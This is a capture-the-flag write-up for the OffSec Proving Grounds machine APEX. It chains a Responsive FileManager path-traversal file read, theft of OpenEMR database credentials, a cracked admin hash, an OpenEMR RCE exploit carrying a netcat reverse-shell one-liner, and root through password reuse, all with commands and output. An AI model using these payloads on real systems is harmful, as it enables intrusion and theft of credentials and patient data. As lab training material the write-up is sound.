Apex
This is my write ups for APEX on Off-Sec Proving Ground.
I will try to go deep into the technical thing we do in this room.
1. Enum
- Start the machine and get the IP
- Export the IP to the terminal so we can use it easier
export IP=192.168.73.145;clear
## Test to see if the IP is correct
echo $IP
- Lets start off with some
nmap
andrustscan
nmap -sC -sV $IP
nmap -p- -sV $IP --open
rustscan -a $IP
nmap
and rustcan
so we can always exam it in later time. To do so you can run these commands insteadnmap -sC -sV $IP -oA {file_name}
nmap -p- -sV $IP --open -oA {file_name}
rustscan -a $IP -- -oA {file_name}
- Here is the result of my port scans
nmap -sC -sV $IP
---
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: APEX Hospital
|_http-server-header: Apache/2.4.29 (Ubuntu)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| Thread ID: 35
| Capabilities flags: 63487
| Some Capabilities: InteractiveClient, LongColumnFlag, SupportsCompression, Support41Auth, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsTransactions, ConnectWithDatabase, Speaks41ProtocolOld, ODBCClient, Speaks41ProtocolNew, LongPassword, FoundRows, SupportsLoadDataLocal, IgnoreSigpipes, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: d;7B%1d)=9B#'7~:Bzc_
|_ Auth Plugin Name: mysql_native_password
Service Info: Host: APEX
Host script results:
|_clock-skew: mean: 1h39m55s, deviation: 2h53m13s, median: -5s
| smb2-time:
| date: 2022-02-17T04:39:20
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: apex
| NetBIOS computer name: APEX\x00
| Domain name: \x00
| FQDN: apex
|_ System time: 2022-02-16T23:39:21-05:00
rustscan -a $IP
---
PORT STATE SERVICE REASON
80/tcp open http syn-ack
445/tcp open microsoft-ds syn-ack
3306/tcp open mysql syn-ack
- Notice that the target has
smb
running on port445
, we can quickly check it out first beforemysql
or the website running on port80
smbclient -L=$IP -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
docs Disk Documents
IPC$ IPC IPC Service (APEX server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.73.145 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
---
smbclient //$IP/docs -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Apr 9 22:47:12 2021
.. D 0 Fri Apr 9 22:47:12 2021
OpenEMR Success Stories.pdf A 290738 Fri Apr 9 22:47:12 2021
OpenEMR Features.pdf A 490355 Fri Apr 9 22:47:12 2021
16446332 blocks of size 1024. 10843812 blocks available
smb: \> get "OpenEMR Success Stories.pdf"
getting file \OpenEMR Success Stories.pdf of size 290738 as OpenEMR Success Stories.pdf (104.9 KiloBytes/sec) (average 104.9 KiloBytes/sec)
smb: \> get "OpenEMR Features.pdf"
getting file \OpenEMR Features.pdf of size 490355 as OpenEMR Features.pdf (141.8 KiloBytes/sec) (average 125.4 KiloBytes/sec)
Not much to gain from these 2 documents. Lets move on to the web page
Go over to
http://192.168.73.145/
and we see this landing page
- Lets run
gobuster
to see what directory this website has
gobuster dir -u http://192.168.73.145/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
- After a short time we can see some result comming up
gobuster dir -u http://192.168.73.145/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
---
/.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/.htm (Status: 403) [Size: 279]
/assets (Status: 301) [Size: 317] [--> http://192.168.73.145/assets/]
/. (Status: 200) [Size: 28957]
/source (Status: 301) [Size: 317] [--> http://192.168.73.145/source/]
/.htaccess (Status: 403) [Size: 279]
/thumbs (Status: 301) [Size: 317] [--> http://192.168.73.145/thumbs/]
/.phtml (Status: 403) [Size: 279]
/.htc (Status: 403) [Size: 279]
/filemanager (Status: 301) [Size: 322] [--> http://192.168.73.145/filemanager/]
- If we go over to either
http://192.168.73.145/filemanager/
orhttp://192.168.73.145/source/Documents/
we can see the two files we downloaded fromsmb
earlier
- This is very interesting. If we have upload permission
smb
maybe we can upload aphp-reverse-shell
tosmb
and the file will be display on the website for us to trigger it and make a callback to us ? Lets file out, time to get a Foothold of this machine
2. Foothold
- Get ourself a
php-reverse-shell.php
## Find the php reverse shell
locate php-reverse-shell.php
---
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
===
## Copy it to our current working directory
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
Remember to edit the shell.php
content to match your $IP
and $PORT
$ip = 'YOUR_IP'; // CHANGE THIS
$port = YOUR_PORT; // CHANGE THIS
- Now lets see if we can upload this to the
smb
smbclient //$IP/docs -N
Try "help" to get a list of possible commands.
smb: \> put shell.php
NT_STATUS_ACCESS_DENIED opening remote file \shell.php
Dang it! We can't upload to
smb
there gotta be another way. Maybe we can upload it withhttp://192.168.73.145/filemanager/
?If we look at the title of the web page at
http://192.168.73.145/filemanager/
we will see that this isresponsive filemanager
. Lets search forresponsive filemanager
onexploitdb
searchsploit responsive filemanager
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Responsive Filemanager 9.13.1 - Server-Side Request Forgery | linux/webapps/45103.txt
Responsive FileManager 9.13.4 - 'path' Path Traversal | php/webapps/49359.py
Responsive FileManager 9.13.4 - Multiple Vulnerabilities | php/webapps/45987.txt
Responsive FileManager < 9.13.4 - Directory Traversal | php/webapps/45271.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- From
php/webapps/45987.txt
we can try to confirm if we are able to perfromArbitrary file read
curl -X POST -d "path=../../../../../../../etc/passwd" -H "Cookie: PHPSESSID=1sqht83j5bhogmu93vcc42hhba" "http://$IP/filemanager/ajax_calls.php?action=get_file&sub_action=edit&preview_mode=text"
---
<textarea id="textfile_edit_area" style="width:100%;height:300px;">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false
white:x:1000:1000::/home/white:/bin/sh
</textarea>
- Ok so we confirm that we can perform
Arbitrary file read
so let see if we can performArbitrary file write via path traversal
curl -X POST -d "paths[0]=../../../../../../../../var/www/html/&names[0]=cmd.php.txt&new_content=<?php system(\$_GET['cmd']);?>" -H "Cookie: PHPSESSID=1sqht83j5bhogmu93vcc42hhba" "http://$IP/filemanager/execute.php?action=create_file"
---
File extension is not allowed. Valid extensions: txt, log, xml, html, css, htm, js,
Ok, so look like this is a dead end too.
Come to think about this, since we have document about
openemr
maybe this machine is running them. Try to see if there is a directoryopenemr
curl http://$IP/openemr
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.73.145/openemr/">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 192.168.73.145 Port 80</address>
</body></html>
- Look like it does exist, lets see the landing page for
openemr
- Since we can read file with
responsive filemanager
maybe if we know whereopenemr
store the credentials we can read it. We can go over to OpenEMR Github repo to find it.
The database creds are stored in /sites/default/sqlconf.php
curl -X POST -d "sub_action=copy&path=../../../../../../../var/www/openemr/sites/default/sqlconf.php" -H "Cookie: PHPSESSID=1sqht83j5bhogmu93vcc42hhba" "http://$IP/filemanager/ajax_calls.php?action=copy_cut"
---
curl -X POST -d "path=Documents/" -H "Cookie: PHPSESSID=1sqht83j5bhogmu93vcc42hhba" "http://$IP/filemanager/execute.php?action=paste_clipboard"
- If we checked back on
http://192.168.73.145/source/Documents/
we will see the filesqlconf.php
is exist for us.
- Download the file
sqlconf.php
and read it
cat sqlconf.php
<?php
// OpenEMR
// MySQL Config
$host = 'localhost';
$port = '3306';
$login = 'openemr';
$pass = 'C78maEQUIEuQ';
$dbase = 'openemr';
//Added ability to disable
//utf8 encoding - bm 05-2009
global $disable_utf8_flag;
$disable_utf8_flag = false;
$sqlconf = array();
global $sqlconf;
$sqlconf["host"]= $host;
$sqlconf["port"] = $port;
$sqlconf["login"] = $login;
$sqlconf["pass"] = $pass;
$sqlconf["dbase"] = $dbase;
//////////////////////////
//////////////////////////
//////////////////////////
//////DO NOT TOUCH THIS///
$config = 1; /////////////
//////////////////////////
//////////////////////////
//////////////////////////
?>
- This is the cred for
mysql
, we can login to the target machine mysql
mysql -u openemr -h $IP -pC78maEQUIEuQ
---
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| openemr |
+--------------------+
---
use openemr;
show tables;
+---------------------------------------+
| Tables_in_openemr |
+---------------------------------------+
| ... |
| user_settings |
| users |
| users_facility |
| users_secure |
| ... |
+---------------------------------------+
---
select * from users_secure;
+----+----------+--------------------------------------------------------------+--------------------------------+---------------------+-------------------+---------------+-------------------+---------------+
| id | username | password | salt | last_update | password_history1 | salt_history1 | password_history2 | salt_history2 |
+----+----------+--------------------------------------------------------------+--------------------------------+---------------------+-------------------+---------------+-------------------+---------------+
| 1 | admin | $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC | $2a$05$bJcIfCBjN5Fuh0K9qfoe0n$ | 2021-05-17 10:56:27 | NULL | NULL | NULL | NULL |
+----+----------+--------------------------------------------------------------+--------------------------------+---------------------+-------------------+---------------+-------------------+---------------+
1 row in set (0.303 sec)
- We can use
john
to crack this hash
echo '$2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC' > hash.txt
---
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt > pass.txt
---
cat pass.txt
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
thedoctor
- Now we can login to the target with the cred as
admin:thedoctor
and from theabout
section we can see the version ofopenemr
- Look for any potential exploit on
exploitdb
searchsploit openemr 5.0.1
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution (1) | php/webapps/48515.py
OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2) | php/webapps/49486.rb
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) | php/webapps/49998.py
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2) | php/webapps/50122.rb
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR 5.0.1.3 - Authentication Bypass | php/webapps/50017.py
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) | php/webapps/50037.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2) | php/webapps/50087.rb
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- There are plenty of
rce
we can try, i find that thisphp/webapps/45161.py
work for me
searchsploit -m php/webapps/45161.py
---
python2 45161.py -u admin -p thedoctor -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.49.73 8888 >/tmp/f" http://$IP/openemr/
- Now that we have a shell on the target, lets move on Privilege Escalation
3. PrivEsc
- We can upgrade our shell with
python(3)
/usr/bin/python -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm
---
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm
- The first thing we should try is to see if
root
user reuse the password foradmin
account onopenemr
www-data@APEX:/var/www/openemr/interface/main$ su root
su root
Password: thedoctor
root@APEX:/var/www/openemr/interface/main#
Lucky for us, they does reuse the password
Get all the flags
cat /home/white/local.txt
fac57fa2a45840b05f2247f1a459874c
---
cat /root/proof.txt
6634d95eb80ba8ffb9ce58e14f198027